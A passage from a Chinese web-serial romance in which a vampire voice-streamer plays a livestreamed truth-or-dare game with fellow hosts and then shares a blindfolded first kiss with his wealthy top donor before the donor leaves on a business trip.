3号:“没问题啊,怎么玩?哥现在粉丝也很多,都好奇哥的私生活呢。” 5号:“找个游戏,把真心话大冒险当惩罚吧。” 2号:“我没意见。不过先说好如果实在做不到怎么办?” 春风:“做不到简单啊,全场一人一个嘉年华。行吗小耳朵?” 亲亲小耳朵:“我、我也行……” 4个嘉年华,1万2。咬咬牙也舍得。 春风:“对了,我说得是全场啊,不止主播,还有这五万多观众。” [哈哈哈哈哈哈] [哈哈哈哈哈笑得我头掉了被转转捡起来二手回收了] [哈哈哈哈这不是要我们耳宝的命吗] 亲亲小耳朵磨磨牙,奶凶奶凶地放狠话: “春风哥,你最好别输。” 春风:“来吧,玩逛三园怎么样?就按照咱们麦上的顺序。” “没问题啊。” 这是一个很简单基础参与度又高的小游戏,大家一致同意。 宁尔之前看其他直播间也玩过,规则大概是给定一个范围,大家说这个范围里的东西。卡壳或者重复就算输。 春风:“那就从我开始了。” “今天我们逛三园,逛什么园?红绿灯园。红灯。” 2号:“绿灯。” 3号:“黄灯” 4号亲亲小耳朵:“……” [哈哈哈哈哈] [哈哈哈哈哈哈] [你们场上有0个人没在欺负小耳朵] [小耳朵你被资本做局了。] 宁尔看出来这是个小陷阱,耷拉着脑袋甘愿受罚: “我、我选大冒险。” 春风哥他们一定是想听他说真心话问他奇奇怪怪的问题,他偏不。 邪恶小吸血鬼。 春风:“大冒险是吧?我看乘风破浪浪哥在语音房呢,你把浪哥抬上来叫他十句宝宝。” [哈哈哈哈哈我真的不行了] [疑似春风奔现失败开始报复社会] [有点儿手段都使在小耳朵身上了] 乘风破浪:[什么意思?拿我当工具使?你们到底有没有尊重我这个榜二大哥?] 无人理他。 宁尔当然不可能叫乘风破浪十句宝宝,撅着嘴不情不愿: “那、那就真心话吧。” 春风:“行吧,给你一次改的机会。以后咱们所有人选定就不许改了啊。” 亲亲小耳朵:“哦。” 5号流浪小皮一下子来劲了: “我来问我来问,上次快问快答时候,小耳朵你说你拥抱的那个人,是不是粥哥啊?” 真心话大冒险又不是快问快答,比快问快答更严肃认真,作为赢了游戏的赌注,没人会手下留情。 宁尔被这个直白地问题呛得咳嗽了一下,沉默了两秒钟回答: “是。” 流浪小皮立马马后炮: “我就说是你们还要问,浪费一个宝贵的机会。” 宁尔把这个问题回答明白了,很多事情就都串联起来了。 有些错过上次直播的新观众都在求老观众补课,有热心cp粉直接做了时间线发到缘小圈让大家去看。 补完课回来的观众磕得更猛了。 宁尔挨了惩罚,这回游戏的开始权自然来到了他手里,由他决定下一场“逛什么园”。 宁尔嘿嘿一笑,压低声音对着麦克风: “今天我们逛三园,逛什么园?吸血鬼园。吸血鬼公爵。” 这个主题出其不意,宁尔感受到所有麦上的人都狠狠愣了一下,也就是流浪小皮反应快,迟钝了2秒之后回答: “吸血鬼公爵老婆。” 他不知道什么公爵夫人,但公爵听起来是个男的,应该会有老婆吧? 轮到宁尔狠狠愣了一下。 倒、倒是也没错…… 春风:“吸血鬼公爵儿子” 宁尔:“……” 2号:“血” 3号:“棺材板” 亲亲小耳朵:“大大的城堡” 5号:“大蒜。” “没有大蒜!哪个吸血鬼的家里会有大蒜呢!” 宁尔直接急了,跳出来纠正流浪小皮。 5号:“不是,小耳朵你没理解这个游戏,这个意思是只要和主题相关的东西就行,不一定非得是吸血鬼世界里有什么。” “不行不行,就是不能有大蒜。” 宁尔说这句话的时候眉毛都要扭成麻花了。 他们吸血鬼实在太太太太太讨厌大蒜了。 “好好好,听你的听你的,没有就没有吧。” 流浪小皮不再和他杠,毕竟宁尔的头像人设都是一个小吸血鬼。他甚至好像有点幻想自己的是真的吸血鬼了。 流浪小皮认输,他直接选了大冒险。 不知道是哪个观众出的主意,让他冒险的方式竟然是在缘小圈爆照。 这对于一个声音主播是非常大的挑战了。 声音主播之所以能让很多人上头,一个原因就是不露脸。 长得丑露脸那就是灾难见光死,长得帅虽然能吸引来一部分新的颜值粉,但终究是打碎了人们的想象,没了神秘感,每次听到这个声音就能想起来脸是什么样子,难以代入别的。 流浪小皮犹豫了一会儿,毕竟是关乎到直播生涯的事,宁尔有点心疼他,偷偷给流浪小皮发消息: [小皮,你要是不想发要么就认输发嘉年华吧。因为我你输了游戏,我给你转钱,我有很多钱的。] 流浪小皮马上回复: [谢谢你小耳朵,不过我才不是玩不起,爆照完全没问题啊,我都已经发了。] 啊。 宁尔赶紧切到小皮的缘小圈看,是一张蓝底证件照,照片上的男孩面容清丽干净,是和元之一款的小帅,看起来也就二十岁左右。 流浪小皮:[我才不怕什么见光死不见光死。我就是我,样子是天生的,藏起来并不能改变什么。] [喜欢我直播的人可以喜欢我的性格声音,如果因为相貌不符合口味就不喜欢我,那也没什么好难过的。] 亲亲小耳朵:[你好厉害,小皮。大拇指/大拇指/] 宁尔一边佩服小皮的洒脱,一边心里暗暗记下来下次再输了一定选真心话。 这个大冒险也太恐怖了。 果然,他很快又输了。 这回轮到3号问,他直接道: “这么晚了咱们来点儿成人话题吧。” “小耳朵,你想知道接吻的滋味吗?” [哈哈哈哈这是真心话吗?] [这个问题怎么奇奇怪怪的,但又说不出来哪儿怪] [楼上我也有感觉,这个题有种只问了一半的感觉] [同感+10086] [盲猜小耳朵很快又要输了哈哈哈哈] 宁尔小小的鬼脑仁都开始疼了,他本来就对人类世界很陌生,他们说的“园子”越来越听不懂,什么奥特曼园、染色体园,宁尔只能一边听问题一边打开手机百度。 网络一卡他就输了。 呜呜呜呜呜。 “快点回答快点回答,必须是真心话啊。” 宁尔脸憋得通红,吸血鬼和人类一样,有七情六欲,会繁衍后代,也会谈恋爱。 他一个血气方刚的小鬼,说不想知道是假的…… “想……” 宁尔蚊子一样的声音从麦里传来。 众人本来还觉得这样“欺负”小耳朵有些残忍,现在看他这个害羞的反应,隔着屏幕都能想象到小男孩那张漂亮脸蛋通红的样子。 更兴奋了。 很快,宁尔又输了。 3号立马接着问: “小耳朵,你想知道……” 他话还没问完,春风立马猛咳打断: “你悠着点儿别瞎问等会儿给我语音房干封号了!” 3号委屈:“你怎么知道我想问……” 春风:“一听这语气就没好屁,换个问题换个问题。” 3号:“……行吧。” 宁尔完全听不懂他俩的对话,还没反应过来就听3号问: “在场所有人。我是说在场所有人,包括麦上的兄弟、语音房的5万观众,尤其是正在看直播的榜一大哥粥老板。” “这些人里面,有你幻想的接吻对象吗?”—— 作者有话说: 最心疼傅柏的一集。过了0点还有一更,等我等我等等我。 对了,这本书的封面是俺约的独家小耳朵人设哦~姨姨们看看漂亮不 第38章 夜色酣浓,一切感觉被无…… [啊啊啊啊啊我就知道3号没憋好屁] [我说就上个问题只问了一半吧哈哈哈] [啊啊啊啊太会了吧太会了吧] [还没回答我嘴角已经上天了啊啊啊啊] [楼上我比你还夸张我已经开始幻想两个帅哥接吻的样子了] 这个问题让评论区更沸腾了, 各种大胆的话语宁尔看得脸都烫。 3号,3号简直就是在给他挖坑。 尤其是他把“粥老板”这三个字音咬得那么重。 他刚刚回答想尝试接吻的滋味已经够露骨了,现在又必须挑一个人说, 舟先生此刻现在还一直在直播间看着。 如果他回答了, 两个问题连起来, 不就变成“他想和舟先生尝试接吻的滋味了吗”。 他和舟先生连彼此的照片都没看过,相互只是虚拟恋人的关系, 甚至在网络上都没有说过一句“喜欢”, 假如他真的回答了“想和舟先生接吻”, 那该有多自恋啊。 不仅自恋, 还冒失、油腻、唐突。 换位思考一下, 假如这个问题是乘风破浪来回答,如果他的答案是小耳朵, 宁尔也会觉得心里不适。 宁尔沉默了很久,沉默地春风都有点儿慌了,他看了一眼榜一银耳粥在线的头像,开口叫: “小耳朵,小耳朵?” 宁尔声音别别扭扭:“对不起春风哥, 这个问题我认输了,我给你们发嘉年华。” 宁尔说完利落地给麦上主播都发了一个嘉年华,又给观众们都发了现金红包。 春风:“……不是我说嘉年华开玩笑的” 评论区一看宁尔宁愿花钱都不愿意回答这个问题,意识到这一幕被粥老板都看到了,一时间都不敢再起哄。 红包发完, 游戏继续。 春风咳咳了两声:“那什么, 继续玩?” 亲亲小耳朵:“嗯嗯嗯。春风哥,可不可以逛个简单的园子呀?球球你了嘛~” 春风哪敢让小耳朵求他,赶紧道: “好好好, 这样吧,逛房间园,咱们现在各自所处的房间里有什么说什么就行,这个够简单了吧?” 这个好! 宁尔现在在录音房里,还不容易重复。 众人都欣然答应,春风他们从最基本的床、天花板、地砖开始说,轮到宁尔时,他打开麦,响亮地回答: “面具。” 众人:??? 春风咳嗽了两声:“小耳朵,就是咱们这个园子的规则是说你能看到的,现在房间里真实有的,不能编啊。” 亲亲小耳朵:“春风哥我知道的。我没有编,真的有面具。” 春风:“行、行吧……” 众人又说了一轮,轮到小耳朵: “皮鞭。” 众人:“……” 观众:“……” 空调、风扇、镜子、空气都被说完了,转回到小耳朵这里: “蕾丝眼罩。” 噗…… 您的语音房涉及涩情违规被警告一次。文明聊天,绿色上网。 [哈哈哈哈哈哈哈] [哈哈哈哈哈哈哈] [真不行了这个语音房每天这么有节目的吗] [小耳朵你就是语音房的神] [粥老板来管管呢] [完了完了,小耳朵要被三倍惩罚,回答三个真心话了。] 语音房有个不成文的规定,凡是触发违规警告的,观众直接小黑屋,主播三倍惩罚。 宁尔也不知道哪里出了问题,看到语音房因为忽然弹出来的封禁窗口乱成了一团,还没等春风哥找他麻烦,舟先生就发来了消息: [你说的那些东西,在录音房里?] 亲亲小耳朵:[点头/点头/是的呀哥哥,我没有说谎。] 宁尔说完还怕舟先生不信,拍了一张墙上挂着的面具、、皮鞭、、蕾丝眼罩、红色领带、黑色绑带等发给舟先生。 这些东西就挂在墙上,一抬头就能看到。 不过宁尔不知道这是干什么用的,也觉得有什么不对。 傅宴舟看到照片的一刻血压直接升高,咬着牙给傅柏把图片发过去,打了一个? 傅柏虽然刚刚受到冲击,看到傅宴舟的消息,有点儿心虚地回复: [咋了表哥?那吸……主播给你拍的?我是露脸直播,偶尔拍拍变装啥的,这些都是变装视频的正经穿搭道具,你别往歪想。上午走得急我没来及得收拾。他想用吗?可以用,都送他都行。] 无论是吸血鬼还是生气的傅宴舟,傅柏都惹不起。 傅宴舟太阳穴突突了两下,关了傅柏的对话框。 语音房评论区说了一会儿宁尔看不懂的话,春风才活人微死地接过麦: “小耳朵,游戏咱也别玩了,哥也不罚你三倍真心话了,你再回答一个该下播了,好吗?” [春风哥好像有点死了] [这个房主为啥这么害怕语音房被封啊?] [这话问的,哪个房主不爱护自己的语音房。] [其实不然。真实原因是春风以前因为精神小伙语录被封过一年直接换号了哈哈哈哈哈。] 宁尔虽然不解,但也有些不好意思,乖乖回答: “哦,好。” 春风:“3号,你来问吧。” 3号:“我不敢我不敢,我怕问过头了再被封了。5号流浪小皮你来问。” 流浪小皮:“我问……我还是想问上次小耳朵没回答那个问题。” [什么问题?] [求补课] [上次是什么时候?感觉这个语音房像连续剧,一天追就落下剧情了] [我想起来了!上次小皮问小耳朵喜不喜欢他拥抱的那个人!] [已知他拥抱的人是粥哥的话……那这个问题不就成了……] “抛开他砸钱送礼物榜一大哥的身份,你喜不喜欢银耳粥?单纯的,情侣之间的那种喜欢。” 没等小皮再问,一道冷冷的声音在语音房替所有人问出了这个问题。 宁尔愣了一下,才意识到是几乎从没有和他互动过的2号在问。 [问了问了终于问了] [我有种强烈的预感,前排留念打卡] [奶奶,你磕的电子cp今天好像要成真了] [怎么办,我都有点儿想哭了] [背景音乐小点都听不到麦了!!] 一晚上的擦边游戏问题忽然变得认真、纯爱,还是完全没有开玩笑的口吻。 整个语音房的气氛一时间被烘托到了极致,满屏的“99”和“喜欢”,各种小爱心特效把整个屏幕粉嫩点亮。 所有的麦都安静下来,背景音乐都关了,宁尔一时间只能听到自己的心跳声。 抛开送礼物、榜一大哥的身份,他喜不喜欢舟先生呢…… 他对舟先生,有情侣之间的喜欢吗…… 万众瞩目的沉默中,小耳朵在麦里轻轻吐出一个字: “我……” 他卡壳了。 或者说,犹豫了。 经常表白被拒绝的朋友一定知道,这种犹豫代表着什么意思。 几个麦上的主播的紧张程度一个比一个重。 宁尔重重地咽了一口口水: “我……” 语音房一时间窒息了。 停滞了两秒,春风发挥了这辈子最高的智商,眼疾手快直接把银耳粥拉上了观众连麦位。 “粥哥,我看你在语音房,晚上早啊~” “早。” 银耳粥的声音简短干脆,语气里听不出半点情绪。他也没下去,甚至顺便从容地给小耳朵刷了1000个火箭炮,给其他麦位都刷了一个嘉年华随麦礼。 宁尔不知道春风哥把舟先生抬上来干什么,就听到春风道: “那什么粥哥,我们玩游戏呢,小耳朵有个问题答不上来,要不你帮帮他?” [春风是忽然喝了吗] [这又不是数学题,还能让别人告诉答案吗?] [不对不对,春风的意思是,同样的问题,让粥哥回答吧?] [同样的问题那就是……粥哥喜欢小耳朵吗?情侣之间那种?] [春风看出来小耳朵害羞不好意思说了] [对啊对啊!毕竟粥哥都还没有表白过!怎么能让老婆先表白。] [我去,春风哥背后必有高人指点啊。] [我的妈耶,更期待了。] 小耳朵的回答不如不答,“皮球”踢到了舟先生那里,此刻整个语音房都在好奇他的答案。 应该说喜欢了吧应该了吧! 总不能钱太多了500万砸着买一声宝宝听着开心吧?? 春风深深吸了一口气,堵上了他房主的尊严: “粥哥,你喜欢小耳朵吗?情侣之间那种。” 沉默。 又是沉默。 沉默了几秒,银耳粥声音温柔在麦里响起,像是哄人一样: “我要出差一趟,最近可能不经常看直播。下次再上麦的时候,我会回答这个问题。” [……] [啊啊啊怎么回事怎么回事] [不要下次了这次行不行啊行不行啊!] [粥老板和小耳朵这个答案真是棋逢对手了] [就这个拉扯感真的太酸爽了] [什么棋逢对手,什么拉扯。很明显双方都不喜欢啊。不知道你们cp粉自己嗨个什么劲儿。] [@春风与你皆过客过来踢人。] 宁尔听完舟先生的话,看着评论区五花八门的揣测说法,眼眸低垂,心里一时间有种说不出的感觉。 舟先生发来了消息,宁尔一看时间已经半夜一点多了,顺便也下了麦。 [嗓子还好吗?]舟先生问。 [还好,哥哥。] [我给你买了润喉糖和枇杷露,等会儿给你送过去。] 舟先生的语气丝毫不像刚刚两个人一起没回答上来“是否喜欢对方”这个问题,像没事人一样。 [太、太晚了吧哥哥,有点麻烦你……] [不麻烦。我就在附近。有件事我还想麻烦你。你现在把录音房的门打开,看看里面还有没有另一间屋子?] 宁尔不明所以,但按照舟先生说得做,果然,推开录音室的另一道门,里面竟然有一间装饰温馨的卧室! 宁尔把这个发现告诉了舟先生,舟先生好像意料之中: [凌晨三点我要飞机出国,现在已经很晚了,能不能麻烦去这间录音室待一会儿?] [你在里面的屋子,我在外面的屋子。录音室足够黑,我保证不会做什么。] 亲亲小耳朵:[哥哥,你真的要出差??] 傅宴舟莞尔:[不然呢?以为我刚刚是不想回答问题故意找得借口?]。 宁尔的确是这么以为的。 [哥哥,那、那你来吧。] 宁尔现在已经完全相信舟先生不会做什么伤害他的事了。 他也遵守约定,关好门,把自己关进了录音室里面的卧室。 卧室的床单很新,宁尔不敢随意躺,干脆一屁股坐在地上,脑袋小心翼翼地靠在床边边。 过了大概十分钟,门口就传来了输入密码的声音,很快就传来了关门声。 舟先生进来了。 宁尔心怦怦怦跳得快了起来,他又一次离舟先生这么近,还把他关在门外了。 只是幸好这次不是潮湿黑暗的楼道里。 宁尔正心跳着,卧室房门忽然响起两声指关节叩门声。 “哥哥?” “是我。我给你带了枇杷雪梨汤,外面有冰箱和微波炉,明天早上起来你可以热着喝。桌上还有润喉糖,不要吃太多哦。” 舟先生温柔的声音从房门外传来,宁尔复杂的心里仿佛被灌进一碗热热的甜汤,一时间在卧室里咬了咬嘴唇: “我知道了,哥哥。谢谢你。” “休息会儿吧,等会儿到时间我就走了。” “哥……” 舟先生说完就离开了门口,宁尔剩下的话都没来得及说。 他的耳力很好,听到舟先生并没有睡觉,反而是在摘什么东西。 应该是墙上那些面具、眼罩等东西。 宁尔把脑袋靠回床边,闭了一分钟眼睛,发现自己根本就睡不着。 舟先生要出差,要走多久呢? 这好像还是他们认识这么久以来,舟先生第一次离开A市。 他们俩第一次没有待在同一个地方。 宁尔鬼使神差地打开缘来,点进去自己和舟先生的聊天记录。 他滑啊滑啊滑,滑到鬼爪子都酸了,终于找到他和舟先生第一天的聊天记录。 [先生你好,v我500看小吸血鬼辣舞] [用户先生,我的照片够辣吗?] [这是市中心的私人医疗中心,拿着这张卡去体检,免费。] [用户先生,小耳朵给你变个魔术哦~专门为你学得哦~] [用户先生,我被人骗了呜呜呜] [舟先生,谢谢你给你送药啊] [哥哥,这是小耳朵在这个世界看过的第一场星星……] 两个多月的聊天记录,每天的早安晚安,还有一起发生过的这么多事。 宁尔看着聊天记录,一会儿傻笑,一会儿入迷,明明是他和舟先生发生过的对话,再看一遍却仍能让他心怦怦跳。 不知道看了多久,门口再度传来极其轻微的敲门声。 像是怕吵醒他睡觉,准备悄悄离开。 宁尔控制不住自己的心情,直接把手机扔在床上,站起来走到门边,在对方开口前叫: “哥哥。” 宁尔听到对方动作停了一下: “醒了?” “嗯。” “本来不想打扰你……” “哥哥,你要去很远的地方出差吗?” 舟先生愣了一下:“嗯,很远。” “那你会离开很久吗?” 似乎感受到了少年的担心和不舍,舟先生语气更温柔了一点: “不会很久,放心。” “那你……那你为什么都没有提前告诉我一下呢?” 宁尔声音小小的,自己也觉得没有底气质问。 “行程定得有些急,还没来记得告诉你。” “是我的错,宝宝。” 这一句“宝宝”把宁尔叫得有些鼻子发酸,他重重地吸了口气,锁骨随着呼吸起伏,倚在门边: “哥哥,我想……抱你一下。” 他这次一点儿都没有脸红或者其他乱七八糟的想法,此刻的情绪只是想趁舟先生离开之前抱抱他。 像上次止住胃疼一样。 宁尔咬紧嘴唇,今天一点儿月光都没有,他又刚刚喝饱了血,他一定能克制住自己不伤害舟先生的。 “我打开门,就、就拥抱你一下就好。屋子里这么黑,我们不会看到彼此的。” 宁尔解释到。 好像不知道从什么时候起,更怕被看到脸的那个人从他变成了舟先生。 对面沉默了一下,门外传来一个字: “好。” 这扇卧室门里外都可以开,听到舟先生就要拉门,宁尔赶紧又补充到: “等等哥哥,我的眼睛比人类……好,在黑暗中也能看到你,所以我会闭上眼……” 没等宁尔说完,门忽然被人从外拉开,他下意识闭上眼睛,下一秒,宁尔就感觉到什么东西轻软地覆在了他的眼睛上。 宁尔伸手摸了摸,好像是……是蕾丝眼罩。 宁尔脸“腾”地就红了,舟先生的双手还绕在他脑后灵巧地打着结,这下哪怕宁尔的视力再好也什么都看不到了。 他的手蹭过自己宁尔的耳朵,宁尔的脸和耳朵同时发烫,所有的情绪都被此刻怪异的感觉取代。 凌晨三点,夜色酣浓,满墙黑色海绵的录音室仿佛把所有声音都吞噬。 他果然,很怕被自己看到。 宁尔带着黑色蕾丝眼罩,在一片黑暗中被舟先生紧紧抱在怀里。 清雅冷冽的木质香调钻进鼻腔,宁尔感受着自己的心跳,缓缓伸出手,轻轻回抱住舟先生。 宁尔餍足地感受着这个有力的拥抱,他想再用力抱紧一点儿,舟先生忽然却松开了胳膊。 宁尔下意识往后面的门上靠去,他蒙着眼睛仰着脑袋,什么都看不到,只能感受到舟先生现在应该在黑暗中审视着自己。 “哥哥,你要走了吗?” 舟先生并没有走,他宽大温热的手掌直接抚上了宁尔的半边脸。 宁尔冰冷的皮肤落在他的手掌中,他能感受到舟先生像把玩物件一样,用拇指指腹摩挲着他的眼罩,轻轻刮过他的鼻子,用掌心上下划过他尖尖的下巴。 宁尔像石化了一样,全身只能靠着门,感受着舟先生的动作。 手掌的温热连同腕袖处的淡香附在衬衫边沿触及皮肤,宁尔呼吸猛地急促起来,感觉自己好像要缺氧了。 冒犯又克制的手掌在感受完少年脸颊后停下,尽量自然的质问声终于响起: “语音房的那个问题,为什么答不出来?” 居高临下的声音从头顶传来,宁尔心跳还没有恢复,他深深地吸了口气颤着声音: “他、他问我,抛开礼物和榜一大哥身份,我会不会喜欢哥哥。” “所以呢?” “我、我怕我抛不开……” “……” “不是,哥哥,我是说”宁尔垂下头: “我很害怕,我对你的喜欢是因为那些,而我自己都不知道。我害怕,欺骗你的感情。” 宁尔说得是实话。 他和舟先生相识就是因为虚拟恋人,他最初也是抱着“多骗榜一大哥一点钱”的心态和舟先生聊天的。 忽然问他如果没有这些他还会喜欢舟先生吗,他自己好像都分不太清了。 “别紧张,小耳朵。” 舟先生的声音轻地像蛊惑一样在他耳边问: “每天早上说早安的时候,有没有好奇我今天会做什么?” 他的呼吸打在耳畔,弄得宁尔耳朵发痒。 他下意识缩了缩脖子,又重重点了点头。 “每天晚上说晚安的时候,有没有觉得时间过得很快,还没有聊够?” 宁尔又重重地点了点头。 “听到我说头疼的时候,有没有担心过?” “有担心,哥哥我查了很多办法治疗头疼,而且以后我还会告诉你更好的办法给你治……” “知道我要离开A市出差的时候,有没有不舍得?” 这个问题好像已经不用问了。 “好,我知道了。” “知道什么?” “不告诉你,宝宝。” 舟先生刻意打趣的声音在耳边打过来,宁尔猛地抬起头,心跳狠狠漏了一拍。 “哥哥,你为什么不问我,如果有一天你不再给我送礼物砸钱了,我还会这样吗?” “不问。”舟先生很干脆。 “为什么?”这个经典问题好像是每个大哥都会问主播的关键。 仿佛是刚刚已经得到了宁尔的答案,舟先生整个人都放松下来,轻笑了一声: “因为我的钱足够给你砸这辈子、下辈子,下下辈子,甚至下下辈子。如果这样就能让你喜欢,那对我来说太简单了。” “……” 宁尔感觉自己的眼眶中有抑制不住的酸楚,幸亏绑了眼罩,否则他可能真的会流泪。 “那哥哥呢?哥哥为什么不回答?” 宁尔吸了吸鼻子克制住自己的情绪,有些后知后觉地意识到,舟先生这样质问又撩拨自己,明明他自己也没有回答啊。 “哥哥说的下次,其实只是一个根本不会说的借口吧?” 房间里又陷入了死寂的沉默。 宁尔只能听到自己的心跳声。 舟先生用沉默,认同了他的问题。 心中的失落感传来,宁尔小小地叹了口气,又一次把蒙着眼睛的脑袋垂了下去。 “其实我猜到了。” “猜到什么?” “哥哥,我认识你,对吗?” 宁尔感受到舟先生的动作瞬间停滞了一下。 “不是认识,准确地说,是知道。” “你是一个很大很大的人物,会出现在电视或者新闻里,所以,我们一旦见面,我就知道你的真实身份了。” “你的身份,让你不能喜欢我。” “或者说……那个身份的你,不喜欢我。” 宁尔说完之后听到舟先生明显深深吸了一口气,像是被他说中了心思一样。 这个反应让即使已经靠在门上的宁尔还是想下意识再往后退缩。 脑袋顶忽然凑近的呼吸没有给宁尔躲闪的余地,宁尔感觉舟先生稍稍俯下了一点身体,男人的声音伴随着呼吸在耳边传来: “我的确,是你知道……甚至熟悉的某个人。” “不过” 宁尔猛地扬起脑袋,空洞的眼睛隔着黑色的蕾丝布条“望”向舟先生: “不过什么呢?” 下一秒,宁尔感觉自己的下巴被两只手指轻轻捏住,嘴巴一热,两片温热的唇瓣裹挟着男性的气味紧紧地贴了上来。 鼻尖触碰,彼此炽热的呼吸在焦灼中缠绕交换,温热柔软的唇瓣紧密贴合,男人稍稍蹲下,从下往上去契合,两人的唇瓣分开又更大面积地贴合在一起。 宁尔的眼睛被牢牢蒙着,夜色酣浓,录音房中一切感觉被无限放大。 心跳的嗡鸣,耳边的呼吸声。 他下意识攥紧双手,在黑暗中随意抓紧了他能触碰到的最近的东西,好像是舟先生的衬衫。 男性荷尔蒙伴随着有侵略性的轻吻在唇间轻轻摩挲,却没有进一步的唇舌侵略。 陌生又温柔的缱绻让宁尔一瞬间停止了呼吸,他不敢出声,鼻腔中满是舟先生雪松般凛冽的气味。 舟先生没有进一步动作,轻吻过后,男性粗重的呼吸和近乎虔诚的克制声音从脑袋顶传来: “这个回答,可以吗?”—— 作者有话说: 小吸血鬼没吃上人被人先吃上了 啥也不说了,这章评论掉落红包贺一贺! 第39章 这件事是你俩人生中第一…… 眼睛上的蕾丝布条严实地剥夺了宁尔的视力, 触感被无限放大,鼻息几乎被缠绕打湿。 心跳声的嗡鸣声仿佛盖过了舟先生的话,宁尔手足无措, 下意识想伸手去把布条摘下, 却忘记自己还紧攥着人的衣角。 他力气大, 这么一拽直接把舟先生拽地差点倒在自己身上。 舟先生闷哼了一声,一只手撑在门上, 另一只手精准地垫在宁尔的后脑勺上, 鼻尖停在分寸之间: “还来?” 宁尔后知后觉的脸在燃烧: “……唔” 他不敢再动, 老老实实把两只手压在身后, 还没回过神, 伸出一点点舌尖飞快地舔了一嘴唇。 甜、甜的。 “舟先生,这、这是接吻吗?” “动作上不能算。” “但在我心里是。” 舟先生充满磁性的声音一字一句认真回答。 宁尔靠着墙上, 恢复呼吸的胸膛大幅度起伏着,脸蛋因为害羞和缺氧又红又烫: “你、舟、舟先生为什么要吻我?” “因为没忍住。” 傅宴舟知道这个答案有点犯浑,但也的确是原因之一。 怀里抱着这把清瘦的骨头,手掌抚过少年软绵绵的脸蛋,每天准时问候早安晚安的少年说舍不得他离开—— 哪怕甚至不知道对方的样子, 也很难忍得住。 宁尔显然对这个答案不够满意,这是他的第一次“接吻”,甚至都还没吻过鬼。 他都努力克制住不去吃舟先生了,舟先生倒是把嘴巴送上门了。 正当宁尔皱起眉毛打算继续问,舟先生似乎感觉到了他的不满, 在他开口之前回答: “因为, 我喜欢你。” 浓郁夜色中封闭的海绵墙录音房里,每一个字都稳稳地落在两个人的耳朵里。 哪怕没有对视,宁尔都能感受到舟先生此刻的目光一定在看着他的眼睛。 宁尔感觉自己的心跳漏了一拍。 没等宁尔再说话, 舟先生伸手揉了揉他的脑袋: “这间录音室以后你随时来用。” “照顾好自己,等我回来。” 手从脑袋上拿走的那一刻,舟先生顺势把宁尔脑袋后的布条解开。 眼罩顺势滑落的一刻,宁尔抬眼,只看到半道门即将关上前路灯勾勒出男人的一小抹黑色衬衫的挺廓背影。 房间再度陷入黑暗,宁尔手里捏着尚有余温的布条,用指腹摸了摸自己的嘴唇。 温热、雪松味、清冽、压迫、男性荷尔蒙。 这就是……接吻的味道吗? 好、好像……还挺刺激的。 而且,舟先生,真的喜欢他。 一个还没有见过面的人,愿意说喜欢他。 小耳朵,真的被舟先生喜欢了…… 喜欢之后呢?他们要做什么? 吸血鬼世界里非常简单,如果彼此喜欢就会……结婚,生几只小吸血鬼出来。 那吸血鬼和人类呢? 男吸血鬼和男人呢? 再多接一些吻吗?- 宁尔回到卧室趴在桌子前,无论如何都睡不着了,心里又激动又复杂。 一会儿想到什么就傻傻地笑出来,一会儿又会有些低落。 朝左边枕枕胳膊,朝右边枕枕胳膊,一直到天亮两只胳膊都麻了还是没有睡着。 后来困得实在撑不住了,宁尔走到床边先是默默给床的主人道了个歉“对不起对不起实在不好意思占用你的床”,然后两条胳膊一使劲,直接把床板掀起来,枕头都飞了出去。 宁尔把枕头捡回去拍了拍小心翼翼放在床上,然后自己美滋滋地钻到了床板里,反手又把床板盖上。 这下终于没人打扰我睡觉了。 宁尔一觉睡到晚上,醒来伸了一个大大的懒腰。 他打算今晚直播完再录一些定制语音再回家。 反正舟先生出差不能睡前聊天了,也没有其他事情可做。 宁尔推开卧室房门,打开录音室的灯,原本墙上那些面具、皮鞭、眼罩什么的都不见了,反而变成了一张漂亮的画。 桌子上放着一个方方正正的白色小盒子,旁边还有一张简短的字条: “送宝宝的新手机。 ——银耳粥” 果然,白色的小盒子上印着一个漂亮的手机模样,是宁尔从前在二手手机店可望不可及的新品。 “哇!!” 宁尔抱着盒子高兴地差点跳起来。 可能是昨晚舟先生偷偷放进来的,他都没注意到。 人类的手机真的很好玩,有很多很多小游戏,尤其那个切开大西瓜,红色的汁冒出来时候让小吸血鬼十分兴奋。 可惜宁尔之前那个旧手机又卡又费电,一直都没有好好玩。 后来虽然赚了很多钱,但总觉得要不等这个手机彻底用坏掉再换吧。 现在舟先生忽然送他一个手机作为礼物耶! 虽然舟先生砸得钱已经够他买好多好多手机了,但这个他因为知道宁尔的手机坏,用心给他挑选的,感觉就更不一样了。 而且,其实,从一开始“骗一部新手机”和骗外卖一样,是他的网骗生涯目标之一。 现在,算是实现了吗? 好像……也不算骗来的。 旧手机传来提醒直播的声音,宁尔先登进语音房,打了招呼试音之后就像小朋友玩玩具一样,心里激动地冒粉红泡泡,迫不及待去拿新手机。 但宁尔现在人气太高了,没过两分钟就有观众点到他互动。 宁尔和连麦粉丝互动了一会儿,就看到评论区问“小耳朵今天有什么事儿这么高兴”、“小耳朵今天不又在哪儿偷着乐呢”。 宁尔实在藏不住,也不想蛮大家,傻笑了两声有些不好意思道: “我今天,确实很高兴。” “舟先生出国出差了……” [???] [这对吗?这不对吧?] [小耳朵你怎么还有这一面?你真确定粥老板不能看直播吗?] [出差不是出家。] “不是不是,我还没有说完,舟先生出国前,送了我一部全新的手机耶!” 宁尔的喜悦之情要溢出屏幕了,评论区虽然不明白他这个百万富翁小网红为什么会对一部手机这么开心,但想起来小耳朵之前第一次喝到奶茶都能幸福地把自己喝肚子疼,就也不稀奇了。 评论区应和地恭喜了一会儿宁尔,有的问他是什么手机。 宁尔也不认识什么手机型号,反正,就是一部好手机。 “我想现在就打开看看,宝们你们等我一下啊~” [你别挂啊小耳朵,就这样拆] [是啊是啊,我们很喜欢分享你的喜悦,特别真诚] [是的!!你美滋滋地说第一次喝到奶茶那一天,我都连夜下单了一杯] [粥老板真的太贴心了,不仅会冷冰冰的砸钱,还会送热乎乎的礼物] [说到热乎乎啊,小耳朵,家里有个热乎乎的男人比什么都强……] [哈哈哈哈哈姐妹这是评论区不是无人区!!] 那个白色盒子外面没有塑料膜,盒子一打就开了,宁尔好奇地“咦”了一声,两根手指轻戳,屏幕显示: [请输入密码] 4位数。 宁尔翻了翻纸条,又把手机盒子倒过来甩了甩,没有写。 “宝们,这个手机解锁需要密码,舟先生好像告诉我密码了。” [不应该啊。几位数?] [粥老板不像这么粗心的人啊] [不会啊,你试试123456这种最简单的?] “是4位数。” [害!4位数呀!4位数那肯定是日期了呀] 